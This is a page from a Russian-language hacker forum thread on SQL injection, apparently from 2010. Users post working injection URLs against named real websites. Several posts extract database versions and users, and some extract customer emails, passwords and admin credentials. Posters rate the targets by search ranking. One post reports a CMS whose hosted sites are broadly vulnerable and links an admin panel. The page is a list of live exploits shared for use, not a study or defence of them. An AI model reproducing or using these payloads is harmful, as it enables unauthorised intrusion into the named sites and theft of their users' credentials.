SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 654 of 798
  1. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
    http://www.esdnow.com/homepage/en/news.php?id=-20+union+select+1,version(),3,4++--+
     
    #13061 Darth Padla, 22 Sep 2010
  2. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    http://www.clubinfo.tv/xxx.php?id_loc=473+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,concat_ws(0x3a,version(),user(),database()),26--
     
    #13062 Дирижабль, 22 Sep 2010
  3. DarkDante

    DarkDante Banned

    Joined:
    24 Dec 2004
    Messages:
    2
    Likes Received:
    3
    Reputations:
    0
    Code:
    http://www.paloaltoonline.com/weekly/story.php?story_id=1+and+1=0+Union+Select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
    PR7
     
    #13063 DarkDante, 22 Sep 2010
  4. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    debian-linux-gnu:5.0.51a-3ubuntu5.5-log1
    Code:
    http://www.nnt.nl/pagina.php?id=6+and+%28select+1+from+%28select+count%280%29+from+%28select+1+union+select+2+union+select+3%29z+group+by+concat%28%28select+concat_ws%280x3a,@@version_compile_os,version%28%29%29+from+information_schema.tables+limit+18,1%29,floor%28rand%280%29*2%29%29%29u%29%20--%201
     
    #13064 547, 22 Sep 2010
    Last edited: 22 Sep 2010
  5. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    http://star-electronics.com/product_detail.php?id=-62+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9--+
    5.0.67-community:star_data:star_data@localhost
    PR 3

    http://www.truster.nl/product_detail.php?id=-1+union+select+1,table_name,3,4,5,6+from+information_schema.tables--+
    Какой то шоп

    http://www.lipchip.com/product_detail.php?id=-19+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+information_schema.tables--+
    5.1.48:lipchip2_imagearystation:lipchip2_lunar1@localhost
     
    #13065 stepashka_, 22 Sep 2010
    Last edited: 22 Sep 2010
    4 people like this.
  6. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    PHP:
    http://www.crimea-land.info/info.php?pid=-29+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11--
    Шоп
    PHP:
    http://algor.com.ua/?pg=detail&under=37&id=-652+UnIon+selECt+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,concat_ws(0x3a,customers_email_address,customers_password),43,44,45,46,47,48,49,50,51,52,53,54+from+customers--+
     
    #13066 moodoone, 22 Sep 2010
    Last edited: 22 Sep 2010
    1 person likes this.
  7. DarkDante

    DarkDante Banned

    Joined:
    24 Dec 2004
    Messages:
    2
    Likes Received:
    3
    Reputations:
    0
    PHP:
    http://docs. bentley.com/ product.php?prod=-1+union+select+concat_ws(0x3a,version(),database(),user()),2--
    4.0.15-standard:dbc:php4@localhost documents
     
    #13067 DarkDante, 22 Sep 2010
  8. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    http://www.sfauto.ru/index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1+and+0+union+select+1,2,concat( username ,0x3a,password),4,5,6,7+from+%23__users+where+gid=2 5+or+gid=24+and+block%3C%3E1--

    5.0.91-log:sfautoru:[email protected]
     
    _________________________
    #13068 <Cyber-punk>, 22 Sep 2010
    Last edited: 22 Sep 2010
  9. shuba

    shuba Elder - Старейшина

    Joined:
    22 May 2009
    Messages:
    592
    Likes Received:
    128
    Reputations:
    52
    http://paladinoforthepeople.com/issuedetail.php?id=6+union+select+1,2,concat_ws%280x3a,user,password%29,4,5,6+from+profiles--+
     
    #13069 shuba, 22 Sep 2010
    1 person likes this.
  10. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    http://classic.ipy.org/development/eoi/proposal-details.php?id=34 or 1 group by concat(version(),floor(rand(0)*2)) having count(0) or 1--+

    3.23.521 Т_Т
     
    #13070 R1dex, 22 Sep 2010
    1 person likes this.
  11. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87



    ТИЦ10(R2) PR5
     
    #13071 -PRIVAT-, 23 Sep 2010
    1 person likes this.
  12. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    Code:
    http://www.marilyn.cz/m8/news.php?list=99/**/UNION/**/SELECT/**/null,null,CONCAT(user_name,CHAR(58),user_email,CHA%20%20R(58),user_password),null,null,null,null,null,null%20%20,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*

    Code:
    http://www.kved.ru/php/content.php?id=4520')/*1*/union/*1*/select/*1*/1,2,3,4/*
     
    #13072 ubi, 23 Sep 2010
    Last edited: 23 Sep 2010
    2 people like this.
  13. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    http://www.alrazi.com/product_detail.php?id=-32+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16--+
    5.0.90-community:alrazi2_products:alrazi2_jinos@localhost
    PR 2
     
    #13073 stepashka_, 23 Sep 2010
  14. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Шоп

    http://www.nikejordanshoes2sell.com/product_detail.php?id=-12393+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,table_name,15,16,17,18,19+from+information_schema.tables+limit+27,1--+

    http://www.nikejordanshoes2sell.com/product_detail.php?id=-12393+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(column_name),15,16,17,18,19+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x786d5f6261736963+--+

    ТИЦ: 10
    PR: 3
     
    #13074 stepashka_, 23 Sep 2010
    1 person likes this.
  15. SENIA

    SENIA Elder - Старейшина

    Joined:
    22 Nov 2008
    Messages:
    478
    Likes Received:
    232
    Reputations:
    1
    http://www.vashopros.ru/tip.php?id_tip=-14'union+select+1,version(),3,4,5,6+--+
    тиц 300 пр5
     
    #13075 SENIA, 23 Sep 2010
    1 person likes this.
  16. Zombi ****

    Zombi **** Elder - Старейшина

    Joined:
    4 Apr 2009
    Messages:
    166
    Likes Received:
    183
    Reputations:
    17
    VACUUMS CMS
    http://www.vacuums.net.ua/ ОФ САЙТ
    Уязвимы практически все сайты размещенные на сайте разработчика у которых есть раздел новости.
    Пример:
    http://akma.com.ua/ru/news/?cid=43&nid=-768+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
    http://akma.com.ua/admin <=админка там!

    http://energoprom.net.ua/ru/news/?cid=-45+unIon+select+1,%28TaBLE_NAMe%29fRoM%28INFoRMaTION_ScHEMa.TAbLES%29limit+29,1--+
    тот же баян но там фильтр заковыристый(нашел способ обхода Emillord)
    Косяк в том что в бд мскуль нет таблицы юзерс, данные тянуть неоткуда, видимо данные на вход в админку вшиты в сам скрипт админки. Что не есть гуд . .
     
    #13076 Zombi ****, 23 Sep 2010
    2 people like this.
  17. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    http://www.fleet-ukraine.com/section.php?sid=1 and 1=0 union select 1,2,group_concat(concat(user,0x3a,pass)separator+0x3c62723e),4 from users--+
     
    #13077 R1dex, 23 Sep 2010
  18. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    http://www.dom-zdorovja.ru/product.php?id=-86+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--+

    4.1.25-log:domzdor7_shop:domzdor7_alexey@localhost
    ТИЦ: 40
    PR: 1
     
    #13078 stepashka_, 23 Sep 2010
  19. brutos

    brutos Member

    Joined:
    25 Nov 2009
    Messages:
    123
    Likes Received:
    27
    Reputations:
    8
    http://www.bears-club.com.ua/?sc=clichko2&ph_id=-100015+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=0x62656172732d636c7562+--+
    Version: 5.1.50-log
    PR 2, ТИЦ 275

    http://www.samokat-fb.ru/index.php?news&id=32+and+1=2+uNIon+sELecT+1,2,3,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),5,6,7+--+
    Version: 4.0.26
    PR 3, ТИЦ 180

    http://www.zebrafitness.ru/ru/about/service/?id=-66'+and+1=2+union+select+1,2,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),4,5,6,7,8+--+
    Version: 4.1.22
    PR 3, ТИЦ 150
     
    #13079 brutos, 24 Sep 2010
    1 person likes this.
  20. Strilo4ka

    Strilo4ka  

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    _

    Code:
    http://www.fin.org.ua/newws.php?i=640932+union+select+1,2,group_concat%28table_name%20separator%200x3a%29,4,5,6%20from+information_schema.tables%20limit%200,1--+
    тиц210. зы можно крутить)
     
    #13080 Strilo4ka, 24 Sep 2010
    Last edited: 24 Sep 2010
    1 person likes this.
(You must log in or sign up to post here.)
Page 654 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.